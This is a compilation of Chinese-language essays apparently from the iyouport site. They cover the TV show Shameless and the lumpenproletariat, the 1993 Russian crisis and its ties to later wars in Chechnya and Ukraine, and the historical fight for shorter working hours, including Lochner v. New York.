2011年首次亮相的《无耻之徒》改编自英国的同名系列。当节目编导约翰·威尔斯和网络高管交涉时，他不得不与将该剧的故事背景设置在美国南部或拖车公园的建议作斗争，这些老生常谈的话题在流行文化中被用来宣扬贫困现象。相反，《无耻之徒》的故事发生在一个多种族的城市，这里的居民被城市化抛在后面，但他们把生存—— 不顾一切，不择手段的生存方式—— 看作是家族的骄傲。加拉格家的孩子们被他们一团糟的父母忽视了，他们的母亲有躁郁症，父亲有慢性酒精中毒，因此必须在一个拥挤的破旧的家里自力更生。他们希望改善自己命运的每一步行动，几乎都被复杂的公共福利制度和冷漠的新自由主义国家所阻挠。他们没有自助，没有被帮助，对于一个遭遇工伤事故并被DIY截肢的人物来说，甚至没有完整的脚趾。

你找不到比这更能说明什么是“无产阶级”（lumpenproletariat）这一概念的地方了，这个概念的前缀被翻译为“褴褛”或“乌合之众”。在

19世纪的欧洲，无产者被认为是那些“生活来源可疑的人”，如乞丐、赌徒、扒手和妓女，他们居住在街头或城市贫民窟。这种所谓的“过剩人口”靠“社会的面包屑”生活，部分原因是他们对毒品和酒精的依赖使他们不适合从事传统劳动。在当代美国，“过剩人口”的成员从这个系统的缝隙中落下，这个系统乐于让残疾人挨饿，并剥夺了穷人的精神健康和药物治疗服务，让他们在正规就业和资金不足的机构中循环往复。他们是堕落的，正如桑德海姆的歌词所说，因为他们是被剥夺者。

没有人真正喜欢无产阶级。他们以其粗俗的感觉冒犯了资产阶级自由派；保守派认为无产阶级是游手好闲、无法无天的暴徒；资本家认为不能持续产生利润的人类一无是处；还有许多左派认为贫民窟的成员作为革命对象是不可靠的。因此，无产阶级最终能出现在电视上也是一个奇迹。

这一季《无耻之徒》的另一个故事情节涉及利普·加拉格，他是伊恩的哥哥，也是一个正在恢复期中的酒鬼，他靠修理摩托车赚钱。当他工作的修理厂换了管理层后，新老板削减了他的工作时间和工资，然后在他求情的时候解雇了他。面对迫在眉睫的驱逐和一个嗷嗷待哺的初生婴儿，利普没有了选择。他打破了自己的清醒状态，在一个晚上潜入商店，偷走了所有的自行车和零件。这一集遵循了该剧许多次要情节的模板—— 其中一个角色迫切需要钱，必须做一些非法或不体面的事来获得钱。犯罪是资本主义不可避免的副产品，成瘾是一种社会疾病，这一论点使《无耻之徒》有别于《乡下人的悲歌》（**Hillbilly Elegy**）这样的“贫困色情”。

尽管如此，《无耻之徒》毕竟不是斯普林斯汀或史坦贝克。它不包含感性的、浪漫的工人阶级英雄。粉丝们喜欢利普和伊恩，但普遍认为其他角色不讨人喜欢—— 尤其是加拉格老爹弗兰克，他的赚钱计划和醉酒的滑稽行为，虽然是为了搞笑，但往往是不道德的。这些人物与其他工人阶级的关系是复杂的，有时是对立的。二女儿黛比·加拉格有几集中是做工匠的，这一季三儿子卡尔·加拉格加入了芝加哥警察局。正如马克思所警告的，无产阶级很容易成为“反动阴谋的受贿工具”，被任何能让他们吃饱穿暖的力量所诱惑。没有政治教育，他们就几乎没有团结或战友的意识。像我们几乎所有人一样，他们只是在受限的情况下行使很有限的权力。

《无耻之徒》最重要的一点是，剧中人物的行为事实上并不离谱（正如该剧多年来的营销暗示），而是例行公事，这些故事就在我们身边的现实生活中真实地发生着。一个阶级意识可以忽略不计的地方，工会成员不断减少，工资停滞不前，产生了一批用各种物质麻醉自己、

犯罪，有时还背叛工友的人群，这并不奇怪。假装穷人总是高尚和善良，或者反过来说，他们应该为自己的堕落负责，这对谁有利呢？负责任的媒体表述不需要总是积极的、谄媚的、精心设计的，以争取权力者最大的尊重。它完全可以简单地暴露出被压迫的大众为了维持生计而做出的众多严峻和胁迫性的交易。

银屏上无产阶级的未来是什么？FX的《姿态Pose》是另一部展示挣扎中的社会弃儿的主要剧本系列，讲述了1980年代纽约市的变性性工作者和表演者的故事，在第三季结束后也将于今年结束。希望那些以不具剥削性的方式展现贫民真实生活的新节目不会离我们太远。Hulu电影《无依之地》（Nomadland）获得了三项奥斯卡提名，这表明关于落魄者的现实故事可以获得评论界的好评；观众的反应问题则不太清楚。有时，观众只是想逃到光鲜的虚构中去，而不会对自身的不稳定状况感同身受。但在其他时候，人们希望通过娱乐来获得熟悉的舒适感，让自己感到不那么孤独。如果我们只剩下通常的电视人物，这里充斥着政客、亿万富翁企业高管、对冲基金经理和皇室君主—— 这些人才是真正的垃圾、真正的寄生虫、一直以来真正的*无耻阶级*，那么这就不会发生。〇

原文

无人关注的周年纪念 - iyouport

社会反抗和思考

"反贼" 的角色本应旨在与当权者争取 "人民" 的支持。但一直以来却有这样一群 "反贼"，他们立足于对人民的鄙视 …… 这样的人能上台吗？如果能，之后的结果是什么？

转帖（5月5日）—— 关于政治游戏

「图」

> 政客的游戏就是在公众能量的浪潮中冲浪的游戏。以俄罗斯为例，在目前的大浪中，有四个浪尖可供政客们保持漂浮状态：

摘录（7月12日）答读者问 ——

「图」

> …… 任何小的疏忽都会导致权力的积累，因此文化必须反对这种积累，无政府主义者知道并承认这一点，但从意识形态上来说，在意识形态的基本原理层面上他们理解它，但他们没有在文化上进行编码。文化是比意识形态更有效的东西

1993年9月21日开始 ~ 10月4日结束的俄罗斯联邦政变30周年纪念被乌克兰的炮火所吞没，几乎没有引起任何人的注意。但这两件事是直接相关的，甚至可以说一个是另一个的结果。

“进程” 仍在继续

「图」

莫斯科的那场 “小内战” 与2013–2014年的乌克兰起义有许多相似之

处，但也有许多不同。其中之一是，当时莫斯科事件的发展速度比二十年后的基辅要快得多，并以抗议者的失败而告终。

早在当年的10月2日，抗议者就在斯摩棱斯克广场上与防暴警察大打出手，防暴警察在抗议者的猛烈回击中撤退；第二天，白房子（保卫者称其为“苏维埃之家”）的纠察线被突破；之后，抗议者前往奥斯坦金诺电视塔，在那里遭到机枪扫射和手榴弹的袭击；10月4日清晨，坦克炮开始向“苏维埃之家”射击。到10月5日上午，最后几股抵抗力量被镇压下去。

在两个星期的起义过程内（实际上是两三天的极端暴力镇压中）有数不清的人被杀死，最微不足道的估计有一百五十人死亡，最不谦虚的估计是一千五百人死亡。请记得那是在1993年，当时根本没有人想到过乌克兰会有什么独立广场起义或任何革命。

叶利钦镇压了最后一场抵抗后，觉得自己成了这个国家的主人。不到一年半之后，由于不满车臣的过度独立，他已经开始向车臣派兵（尽管那不久前叶利钦曾亲口说过“你们能拿多少主权就拿多少”）。当时的国防部长格拉乔夫向他承诺用一个团的兵力就能拿下格罗兹尼 ——就像绍伊古打赌在三天内拿下基辅一样，唯一不同的是，2022年投入基辅的主要是合同兵，而1994年投入格罗兹尼的是应征入伍的士兵，就是他们开着坦克走上城市街道的。结果，战争拖了两年，“清剿行动”比布查战役还惨烈，最后当然是以失败告终。叶利钦和他的将军们无法接受这个结果，不到三年后，他们又发动了第二次车臣战争。

与此同时，对人民的抢劫仍在继续。1993年之后，人民敢于做的最“大”的事情就是封锁铁路（以1998年夏天为标志的“铁路战争”）。当统治阶级意识到“人民”已经被抢得干干净净了、还没被抢干净的只剩下强盗们自己、而那个总是喝得醉醺醺的独裁者随时都会垮台时，叶利钦的随从，也就是维护他的那些所谓家族，劝说这位几乎陷入疯狂的总统任命一位继任者，以保护赃物不被重新分配，并最终镇压了车臣的叛乱。

继任者承诺将车臣分离主义分子全部碾碎“冲进马桶”，为了加强俄罗斯联邦的反车臣情绪 .... 他下令炸毁布伊纳克斯克、伏尔加顿斯克和莫斯科的多所房屋，造成300多人死亡，1000多人受伤，然后将其归咎于“车臣恐怖分子”。直到梁赞的居民在家门口发现了几袋白色粉末，这才知道所谓的“恐袭”是谁干的—— 嫌犯被发现是俄罗斯联邦安全局(FSB)特工。消息传出后，这些爆炸物袋子立即被收走了；当局沉默了一段时间后突然宣布，他们正在梁赞进行一次“反恐演习“，袋子里装的是糖。“梁赞糖”这个梗后来成了一个热门 meme。“梁赞

糖”

那之后，普京曾一度试图履行他关于其“冲马桶”的承诺。后来他意识到，收买一些武装分子，让他们承认他的正式权威，要容易得多，也现实得多。就在这时，老卡德罗夫出现了。车臣正式成为俄罗斯联邦的一个普通臣民，但事实上是一个独立国家，接受俄罗斯联邦的贡品（以“重建资金”的形式），而这些贡品理所当然地进入了当地统治者，即卡德罗夫等人的腰包。

车臣人民受到了新的“大清洗”，而车臣以外地区则遭受了恐怖袭击，其中最血腥的是别斯兰市的恐怖袭击（仅仅根据官方数字，186 名儿童被杀害，134 名成人人质和平民获救，13名执法人员和 31 名恐怖分子死亡）。

但普京自诩为伟大的战略家，为自己塑造了一个胜利者的形象，决定以与乌克兰的“小规模胜利战争”为代价来改善这一形象。顺便说，他在克里米亚发动的战争的确挺“成功”，但这一成功让他晕头转向了，以至于他进入了乌克兰本土，并在那里陷入了无望的泥潭。2022年2月，他试图快刀斩乱麻，却没有意识到麻绳有多结实，他的剑有多钝，结果是更加纠缠不清了。他再也无法脱身，只能下令开枪、轰炸和焚烧，因为他别无他法。

换句话说，现在发生在乌克兰城镇和乡村的一切都始于那时—— 在高加索地区、伏尔加地区、甚至在俄罗斯联邦的首都。与乌克兰的战争是一个长期进程的逻辑结果。

政府、反对派和人民

「图」

叶利钦的政治对手并不比他好多少。如果是他们处在叶利钦的立场上，情况也好不到哪里去。

如果说那些在1991年8月反对国家紧急状态委员会的人对 1992 年生活状况的急剧恶化感到非常失望的话，那么1993年的情况就更糟了。但问题是，久加诺夫（俄共）、安皮洛夫（工党）、阿恰洛夫（国防部副部长）、以及鲁茨科伊等等这些著名“反贼”及其簇拥们，如果不依靠人民，单靠自己是不可能取得胜利的。他们之所以失败，是因为他们从一开始就千方百计地压制了任何基层主动性，非但没有依靠人民，反而却依靠像“俄罗斯民族团结党”这样的准军事组织和起初支持他们的省级傀儡。但当他们听到切尔诺梅尔金说“你们想要搞得

像莫斯科那样吗？”（指的是五一节对工党示威的大屠杀）时，他们立即就尿裤子了，表示完全服从叶利钦。

从他们自己的利益角度来看，他们都是对的。比如鲁茨科伊，他最终没有成为俄罗斯联邦总统，而是成为了库尔斯克州州长。如果在莫斯科 —— 或者对他这样的人来说更有可能也更可怕的是在外省（在一些城市活动家们已经在认真讨论向莫斯科进军的可能性）—— 爆发大规模民众起义，他会有什么下场？…… 谁知道呢。所以他们输得并不多。真正惨败的是人民。上文中提到的并不是叶利钦胜利的结果，而是人民失败的结果。

事实上，2020年明斯克发生的事件就是当年莫斯科事件的镜像。在那里，反对派更像是叶利钦在莫斯科的支持者，而当局更像他的反对者。但正如 1993 年的俄罗斯，2020年的白俄罗斯也一样 —— 反贼并不比亲政府的政客好多少，即便卢卡申科脑子瓦特了突然把权力拱手相让给反对派，其结果也不会有多好。

要想取得真正的进步，需要的并不是某些政客对另一些政客的胜利，而是人民对所有政客的胜利。就像在莫斯科一样，最高端的反对派想尽一切办法限制人民群众的作用，这导致了他们自己夺权的失败并导致人民遭受了更多的苦难。尽管明斯克没有发生枪杀事件，仅限于殴打和强奸 ……

结

「图」

当然，俄罗斯联邦当前的局势在许多方面与当时不同，但有一点并没有改变—— 当前的俄罗斯反对派更害怕人民，而不是害怕当局。这群自由派反贼给人民提供的甚至不是群众的角色，而是替罪羊的角色，现政府的一切弊端都被归咎于人民，反对派宣称现政府的统治本身就是“人民支持普京”的结果。很明显，俄罗斯反对派永远不可能通过这种行为掌权，但不论怎样，人民都没好日子过。

在人民能够开始发挥独立作用之前，他们的处境只会更加恶化。顺便说一句，乌克兰当局也是这样对待他们的人民的。只是在乌克兰，人民能够作为一支独立的力量行动起来（当地悠久的传统产生了影响），“尊严革命”的胜利和对俄罗斯军队的拼死抵抗都与此有关 —— 重申：是人民的力量，而不是乌克兰政府。遗憾的是同样的状况目前为止还没有发生在俄罗斯或白俄罗斯。这里的人民最终能否成为独立的抵抗力量，将在不久的将来揭晓。

附：2022年3月12日《嘲笑无知者并不会让你看起来更高贵》

亚历山大·涅夫佐罗夫不愧是著名公关。表现力强，构图生动，而且，具有侵蚀性。他在自由电台谈到了“噩梦般的乡巴佬”，声称“乡巴佬”不害怕制裁打击所谓的“俄罗斯的文明部分”；那些一直“依赖西方”的人，“了解西方启蒙运动、西方物质文化的力量和重要性”的人。

是的，就如iyp在开战最初时的分析，受制裁影响最为深重是中上阶级，而不是穷人，这些中上阶级中大部分是涅夫佐罗夫这样的亲西方的自由派。现在这些人正采用着涅夫佐罗夫所代表的这般口吻，试图将自己和“普通人”切分开—— 即“乡巴佬”。

你在中国也会遇到同样的东西—— 所谓的国民性论，将所有政权的罪行归于族群或国家成员的“基因问题”。

俄罗斯政客的女儿、真人秀明星索布恰克就是这种人，俄著名记者洛沙克也是这种人，他们对克里姆林宫的每一个任意行为的反应都是粗俗的恐俄症、国民性，尤其是，对革命思想的侮辱—— 即 虚无主义。而这一切都与推翻政权毫无关系...！

尤其是，在俄罗斯这里，因政权的罪行而对整个民族进行非人化，只能让普通俄罗斯人除了政权之外没有其他的立足点、促使俄罗斯人巩固在普京周围，加强普京的政权，使乌克兰的痛苦成倍增加。

请不要忘记，宣传/洗脑是一个强大的东西，可以用来对任何人施展魔法。甚至整个社会。必须像处理恶性疾病一样处理这种魔法—— *而不是*去处理被这种魔法诅咒了的人：所谓的“乡巴佬”。

这种魔法没有国籍。它作用于人性本身。

如果所谓的“文明部分”想在“集体有罪”的逻辑中保持

其合理性，那么这种反常的判断必须从说话者的自身开始：毕竟是这些所谓的 “俄罗斯的文明部分” 让普京上台的，今天他轰炸了核电站和妇产医院。

与所谓的“文明部分”不同，“噩梦般的乡巴佬” 被认为不具备认识和改变的物质能力—— 太穷。普京的群众是一群脑子里装着克里姆林宫磁带的奴隶。他们既被政府鄙视—— 因为政府剥夺了他们的主体性，也被所谓的“俄罗斯的文明部分”鄙视，后者的功能原本*并不是*谈论什么 “乡巴佬”，而是产生一种文化，帮助社会觉醒、战斗，并一起解放自己！

批评“岁月静好的乡巴佬”可以让你获得智商优越性的骄傲感，但也仅此而已了。

所谓的 “乡巴佬” 们对普京并不熟悉。与涅夫佐罗夫、索布恰克和其他所谓的 “文明部分” 不同，这些自由派既熟悉普京、又在普京的俄罗斯建立了自己的事业，并成为那里的精英和准精英—— 普京主义的良心胜过他们盘子里的牛排。

对这些 “俄罗斯的文明部分” 来说，需要摆脱的幻觉是天真地认为他们是西方的一部分，被西方人看成“自己人”。

是的，那些 “文明” 俄罗斯人不戴老土的ushankas，不会坐在草堆上举着瓶子吹vodka，而且直到最近，他们在海外的小酒馆里总是受到欢迎。然而，人们不应将普遍的市场之“爱”与尊重混为一谈。

任何了解 “西方启蒙运动的力量和重要性” 的人都应该明白，启蒙运动是关于人文价值的。他们的持有人并不以沙文主义的方式运作。在公共话语中使用类似 “国民性” 这样的术语在西方是会不受欢迎的。

今天，一群俄罗斯知识分子、艺术家、科学家、专业人士，正揣着口袋里的三个卢布逃往塔什干和第比利斯。他们正在逃离狂热的普京主义，他们用自己的才华和专业精神与暴政做斗争。

逃离吧，逃离不仅是克里姆林宫的坦克，还有这群自

由派煽动的仇视心理。这毒害了弱势人群的生活，助长了仇恨，延续了战争，并最终毁了乌克兰人。

压力首先必须施加给俄罗斯的统治精英：寡头、政客，而不是被普京的魔咒催眠的“乡巴佬岁静”，也不是那些排着长队只为买一块卡查普里的普通老百姓。

by victor

Октябрьский путч в России в 1993 году в фотографиях

原文

时间就是基本人权，是自由理念的重要战场（996不止是辛劳）- iyouport

免费书和纪录片社会反抗和思考

【2021年5月18日存档】资本主义是最高效的维稳机器

【按】去年，为纪念 David Graeber，我们发布了一套8本书，包括中文，都是 Graeber 的经典著作；其中已经提到了本文的主题，即：我们这些 “99%” 不应该为了生存而工作，我们的才智不应该被浪费在攒钱买房子、抚养孩子、还学贷的重负之下，不应该在拼命地加班和打多份工的挣扎中失去生命中最辉煌的年纪。您可以在这里下载这套书《去它妈的工作》。

在去年BLM抗议开启的最初，我们发布了长文以观察这场全球瞩目的抗议运动《当我们陷入困境》，其中对比了中国的 996运动；当时**996**在西方独立媒体中的影响力很高，西方国家的工人阶级知道它为什么是重要的。

年终对话中我们也强调了这点：资本主义是最高效的维稳机器，当所有人都在为了还房贷忍受996时、当所有人除了吃饭睡觉再也没有任何业余生活时，这个社会已经无法再思考真正重要的问题，每个人都被捆绑在统治阶级机器的齿轮上了，任何社会动员都将失败 —— 人们已经没有时间反抗。

时间就是人权，时间就是一切变革的可能性，时间就是自由理念的战场，赢得时间争夺战的人将就此实现他们自己的利益 —— 是工人阶级还是统治阶级获胜，这将产生天壤之别的结果。

♦□♦□♦□

工作场所一直是对自由的辩论的中心战场。在工作时间内，老板告诉您如何行动和做什么，甚至在最基本的身体生理方面都是如此：规定工人何时可以上厕所。老板还对您的个人生活实施着大量的控制，规定对言论和政治行动的限制。这种情况如今愈演愈烈，您可以参见这里的报告《你的老板怎么比网警还厉害？》

政府可以因为您违反他们的规则而将您关进监狱；老板可以解雇您，剥夺您生活所需的基本资源。与民主形式的公共政府不同，工作场所让您受制于哲学家伊丽莎白·安德森（Elizabeth Anderson）所说的一种“私人政府状态”，没有公平性、没有问责制，甚至没有规律性的推定—— 这是一个微型的专制国家。

辞职是无法遏制这种专制状态的。人们都知道这一点，这就是为什么几个世纪以来，工人所要求的不仅仅是辞职的权力。就像公平的工资和安全的工作条件一样，工人们也要求得到保障。

一直以来，都有一些工人要求限制工作时间，以满足他们需要时间去做的其他一切。他们明白，如果他们没有自由的时间，他们就不可能拥有获得个人自由和充实生活所需的各种关系和承诺。这是一个几乎和资本主义本身一样古老的故事。中国的“996”反抗只是它的最新一幕。

1835年5月，波士顿的一群木匠、泥瓦匠和石匠写下并发布了“十小时通告”，这是一份要求每天工作十小时的短文件。它写道：“宇宙之神给了我们时间、健康和力量。我们彻底否认任何人对我们发号施令的权力，拒绝任何人要求我们卖掉多少时间。”

通告把这种制度描述为“可憎的、残酷的、不公正和暴虐”，驳斥老板强迫工人“因过度劳累而耗尽他的体力和脑力，直到他除了吃饭和睡觉之外没有任何欲望，而且在许多情况下，他也没有能力做到这两点”的现状，这引起了工人们的广泛共鸣，特别是那些刚参加劳动的工人。

处于疲惫不堪状态的公民不可能成为“国家或人权的朋友”，也不可能履行“作为公民和社会成员所应履行的义务”。这份通告的作者也明白，过长的工作时间没有尊重工人作为经济中价值的创造者这一根本性地位。“我们愿意承担我们的那部分负担，并为社会生活提供我们的那部分服务，只要我们能被当作人而不是畜生来对待。”

1835年6月，当这份印刷的通告传到费城时，激发了全国第一次大罢工。罢工从手织布工开始，要求每天工作十小时，但很快蔓延到了费城的所有行业，砖瓦工、泥瓦匠、雪茄制造工人、城市雇员、面包师、马鞍匠、印刷商 …… 都加入了罢工。房屋油漆工们宣称“目前的劳动制度是压迫性的、是 不公正的”，“破坏了社会幸福，有辱自由人的名声”。

在一个半星期内，有二十多个行业进行了罢工。该市第一部十小时工

作法因此通过，为公共雇员制定了标准。许多私人雇主对更长的工作时间退避三舍。

这场罢工浪潮证明，时间是资本主义新经济中的重要货币；在下一个世纪，它将继续保持这种状态。对时间的要求使许多行业和技术水平的工人团结起来，他们希望有时间休息，有时间陪伴家人和经营社区。不论是雪茄制造工还是砖瓦匠，都能通过保证更多的私人时间看到一个更美好的世界，这有助于将他们双方捆绑在一个集体企业中。

📌 与其逐个行业、逐个公司地要求工资，工人们不如在整个经济模式中用时间来衡量公平的工作条件。因为雇主们想获取越来越多的时间，所以时间既成为一种普遍的衡量标准，也成为自由理念的战场。

今天，我们自己的时间已经被经济模式管理得非常可怕。许多人负担着荒唐的工作时间，事先不知道自己的时间安排，为了生存而打着多份工。其他人则完全被排除在劳动力之外。我们被锁定在一种意识形态中，市场行为被视为“基本自由”。然而，在这个别无选择的时代，我们必须记住，曾经有一段时间，工人们提出了自己的选择，要求从他们那个时代的市场支配中获得自由。他们的努力甚至取得了一些成功。我们可以在我们的时代重新找回他们曾经的成功。

在南北战争期间，由于军事动员造成北方工人短缺，劳工找到了新的力量。1863年至1864年间，工会的数量增加了三倍多，从79个增加到270个，组织起来的工人达到创纪录的20万人。

工会报纸大量涌现，机械师和铁匠的报纸《Fincher’s Trades’ Review》成为缩短工时的最响亮的倡导者。

- 非常推荐这本书《一路的腥风血雨：劳工运动不为人知的故事》
- 以及《垄断与民主：如何结束镀金时代》

工运中的一些人认为缩短工时是反对奴隶制的重要延伸。艾拉·斯图尔德（ Ira Steward ）在南北战争前曾作为机械师学徒每天工作12个小时，他认为有必要将美国工人从动产奴隶制中解放出来，而不仅仅是“工资奴隶制”。

【注：Ira Steward，19世纪末美国劳工运动的重要人物。他以“八小时工作日”的主要倡导者而闻名。】

斯图尔德认为，八小时工作制是“反贫民主义、反贵族制、反垄断、

[和] 反奴隶制” 的运动。他深入参与了机械师和铁匠国际联盟，是马萨诸塞州 “盛大八小时联盟” 的领导人，他与废奴主义者温德尔·菲利普斯（Wendell Phillips）分享了这一角色。

斯图尔德主张生活工资（这个词可能是他创造的）和减少工作时间。他还将劳工运动推向了新的方向，他认为高工资和缩短工作时间对整个经济有利，而不仅仅是对工人有利。高工资将创造更多的商品需求，这反过来又会创造更多的生产。缩短工时意味着将工作分散给更多的人，有助于缓解经济变化带来的失业问题。

缩短工时还意味着生产力可以提高，因为雇主会想方设法进行投资，使工人创造更多的东西，而这反过来又会提高工资。这将进入一个良性循环，使所有人都受益，并防止大萧条的发生。他的观点将工人和消费者，而不是老板和业主，置于经济价值创造的中心。

斯图尔德还将消费主义视为实现工业化民主的一种方式。大众享受工业经济创造的繁荣是保持引擎运转的必要条件；对斯图尔德来说，“消费主义” 意味着工人有能力通过自己创造的东西中的公平份额来购买他们需要的东西。他认为这是一种利用和部署工人阶级力量以及稳定经济的方法。

他抨击了那些用节俭和自我否定的观念来约束工人阶级的人。对劳动人民提出 “奢侈的指控”，“是为了支持工资不应该再高的说法”。消费主义不仅仅是个人满足自己的欲望和喜好，而是工人要求从自己生产的经济中分得一杯羹的一种方式。这种消费主义让工人们建立了一种文化，并获得了对时间和邻里的控制权，保留了他们的传统和社区，并缓解了他们所面临的往往是残酷的工作条件的体验。

📌 缩短工作时间有助于自由，为公民社会的发展创造必要的时间和文化空间。

人们对经济的需求持续增长，要求给工人更多的时间，同时也为自己、家庭和社区腾出时间。

1884年，有组织的行业和工会联合会发布了一项决议，“从1886年5月1日起，8小时应构成一天的法定工作时间”。这一号召所激励的人远远超过了联合会的想象，当年的劳工能量浪潮扑面而来。

工人们游行的口号是：“八小时工作，八小时休息，八小时我们自己！” 全国各地都爆发了罢工。工人们希望通过更好的工资，更短的工作时间，以及在工作场所内拥有更多的发言权，来分享经济扩张的

成果。他们受到来自劳工骑士团等当地组织者的鼓励，他们将围绕缩短工时的能量转化为行动。早在当年5月之前，就有25万工人加入了缩短工时的呼吁。到5月的第二周，这个数字已经增长到34万工人，其中一半以上是罢工行动者。估计有**20**万工人因其要求而赢得了较短的工作时间。

然而，在这个时期，工人的运动也面临着各种反对。总统出动军队代表业主以镇压罢工；老板派出小队驱散罢工者甚至向工人开火。

但有一个群体能够远远超越这一点，无论是在他们所掌握的权力上，还是在他们愿意动用国家暴力来支持一种相互冲突的理论上，他们就是法院和坐在法院里的法官。

法院挥舞着最大的权力来反对劳工行动和他们的立法胜利。最高法院已经推翻了许多经济立法，它又停止了所得税，削弱了反托拉斯执法，并维持了劳工禁令，使其更容易阻止罢工。在1905年的一个臭名昭著的案件中，他们又推翻了纽约州的最高工时法，其论据是基于一种竞争性的自由理论，即 “契约自由”。

十九世纪末城市人口的迅速增长给面包供应链带来了压力，使面包房成为了危险的和要求较高的工作场所，通常位于阴暗的地下室。那里缺乏阳光和空气流通，为疾病的传播创造了充分的条件。但工人们最大的不满是工作时间。1895年的一项估计显示，面包师每周工作74个小时；有些地方的工作时间更长，甚至有报道称每周工作114个小时。正如纽约的一位工人所描述的那样，“面包师被剥夺了日光，被剥夺了使生活变得甜蜜和令人满意的一切，几乎要日夜不停地工作”。

1895年，纽约通过了《纽约面包店法》，对工作条件进行了规定，并将工作时间限制在每天10小时或每周60小时。当时的劳动合同受一套严苛的、甚至是封建的、由法院强制执行的规则的约束。雇员如果没有完成合同，就不能补发工资，其他雇主不能试图雇佣已经就业的工人，雇员承担所有受伤的风险，雇主完全控制雇员的行为。

虽然这些默认的假设可以改变，但在这些谈判中，雇主往往掌握着巨大的权力。但与以往许多劳动法只有在没有其他协议的情况下才具有约束力不同的是，《面包店法》增加了一个执行机制，对不遵守规定的行为进行刑事处罚，并设立了一个州工厂检查员小组。

1901年4月，纽约尤蒂卡的一个小面包店老板 Joseph Lochner 雇佣了 Aman Schmitter，每周工作时间超过60个小时。在被指控犯有《面包

店法》规定的轻罪后，Lochner 被判有罪；对他的处罚是50美元的罚款或50天的监禁。

此案上诉到了美国最高法院。许多人觉得，法院会认为劳动法完全在州警察权力的范围内，或者说州政府有能力管理其公民的健康和安全。但法院的 Lochner 诉纽约案推翻了法律对最高工时的限制，理由是人们有签约的自由。

法官 Rufus Peckham 代表5比4的多数派写道，《面包店法》“必然会干涉雇主和雇员之间关于后者在雇主的面包店里可以劳动的小时数的合同权利”。法官还说“没有人认为面包师作为一个阶层在智力和能力上与其他行业或手工职业的人有任何不平等，或者说没有国家的保护他们无法维护自己的权利和照顾自己”。

最可悲的讽刺是，最高法院在利用重建修正案攻击劳工立法的同时，也放弃了利用它来维护南方黑人的民权，而重建修正案的目的从来就不是这样的。

这位法官用第十四修正案来证明这一决定的合理性，因为第十四修正案从来没有被设计成用来争夺劳工立法。事实上，在南北战争之后，该修正案的目的是为了加强新获得自由的人的平等权利，防止个别州未经正当法律程序剥夺“任何人的生命、自由或财产”。

除了旨在保护投票权的第十五修正案外，第十四修正案承诺“国会有权利用适当的立法”执行本条。

但是，最高法院在对劳工适用这些重建修正案的同时，也放弃了对白人至上主义的挑战：在 **Lochner** 案两年前，法院在 **Giles** 诉 **Harris** 案中裁定，旨在阻止黑人投票的新限制并不违反第十五修正案。

Lochner 案的判决如此糟糕，值得我们去探究它错误的多种方式，这可以从两个反对意见中清楚地看出。

在第一份意见中， John Marshall Harlan 大法官为《面包店法》辩护，该法允许各州对公共健康、安全和良好秩序进行监管，他认为监管工作时间很符合这一界限。事实上，该法的通过建立在合理的陈述基础上，即 超时工作直接损害了工人的健康和安全。Harlan 法官写道：“这应该是本案的结束”。 他还指出，多数人的裁决将“涉及到具有深远的和恶作剧性质的后果”，因为它将“严重削弱各州关心公民生命、健康和福祉的固有权力”。

他说的没错。虽然法院认为面包师不应该得到保护，但是在 Bunting 诉俄勒冈州案（1917年）中，法院支持了工厂、工坊和制造业工人的十小时工作日要求。

几十年来，最高法院认为哪些职业应该受到哪些劳动力市场保护，纯粹是一个猜测游戏。大法官们的行动可能会有巨大的波动，这取决于你什么时候遭遇他们，在1911年之前，反对这些法规的决定更积极，而在1923年之后，又是如此。

这种模棱两可的做法被那些不仅想打击经济法，而且想在第一时间阻止经济法的人当成了武器。Lochner 裁决的捍卫者认为，最高法院在这段时间内并没有打掉大量的经济法案。但这些判决确实让那些寻求反击社会问题的人的想象力和行动感到寒心和扭曲。司法审查导致每项法律都笼罩着一种永久性的且不连贯的威胁。这限制和扭曲了可以做的事的可能性和雄心壮志，削弱了直至新政期间的解决方案。这不是解决工业社会普遍存在的新问题的办法。

但是，那些年对法院的批评还有更深层次的，正如 Lochner 案中的第二个反对意见所表明的那样。

小奥利弗·温德尔·霍姆斯大法官在他的简短论证中写道，宪法 “并不是要体现一种特定的经济理论，无论是家长制和公民与国家的有机关系，还是自由放任的理论”。正如他著名的言说：“第十四修正案并没有颁布赫伯特·斯宾塞先生的《社会静力学》”。他指的是体现当时保守的自由放任思想的经济学文本。

霍姆斯是在指出，市场并不是真正的中立。霍姆斯列举了对高利贷、彩票和股市投机的限制，以及禁止在星期天进行的某些活动，还有强制接种法。所有这些都对人们订立合同的能力施加了某种限制，而且所有这些都在公共论坛上进行过辩论。国家采取了许多有利于资本所有者的行动，包括成立公司、限制股东的责任、制定破产法和执行合同。法院对此没有任何问题，因为他们对使用反托拉斯法对付工会或发布禁止工人罢工的禁令也没有任何问题。

法院唯一叫嚣的时候，是法律为工人提供更好的保护的时候。他们愿意用对经济学的非常具体的理解来凌驾于法律之上，不仅越俎代庖，而且还把对经济学 —— 以及自由—— 的偏见观点写进了宪法本身。

霍姆斯在 Lochner 案中的反对意见认为，应该有一个民主程序来确立如何建立这样的制度。霍姆斯本人很可能持保守的经济观点，可能认为劳动人民通过立法使自己的生活变得更好的努力不可能取得很大的

成就。

然而，他明白这是一个开放性的问题，他讨厌司法机关把关于经济的具体理论付诸实践的确定性。霍姆斯写道，一部宪法“是为根本不同观点的人而制定的”，让他们进行实验，试图找到答案。霍姆斯受到了被称为实用主义的新思想学派的影响，该学派认为，对真理的探索应该以实验和进化的理解为模式。工业经济中的自由定义也应如此。

建立在小规模土地所有权基础上的美国经济的梦想，对19世纪50年代的政治运动如此重要，但随着工业化接管国家，这个梦想很快就破灭了。

向工资劳动的过渡改变了美国工人的生活，以至于他们不再能控制自己的工作时间。而他们抵制，阐明自己的自由是如何与能够控制自己的时间联系在一起的，从与家人在一起到作为社区的积极成员。

自由时间被理解为市场上的一种制衡机制。较少的工作时间意味着更稳定的就业，这一点尤为重要，因为经济衰退和技术的出现破坏了工作。

这也意味着更高的工资，这反过来会产生更高的生产力，对抗经济衰退的影响，并使工人们对他们创造的所有财富有一个要求。

这是对更多的生活中的美好事物的要求。工人们围绕着这个想法建立了运动，这将在新政中找到一个家。

在当下这个时代，人们再次感觉到自己无法控制自己的工作时间，这正是一个值得重新获得的自由愿景。〇

Time Is the Universal Measure of Freedom

原文

极少数人对多数人的嘴巴所做的事, 不会让您获得幸免 - iyouport

审查和自我审查-民主的支柱是如何歪掉的社会反抗和思考

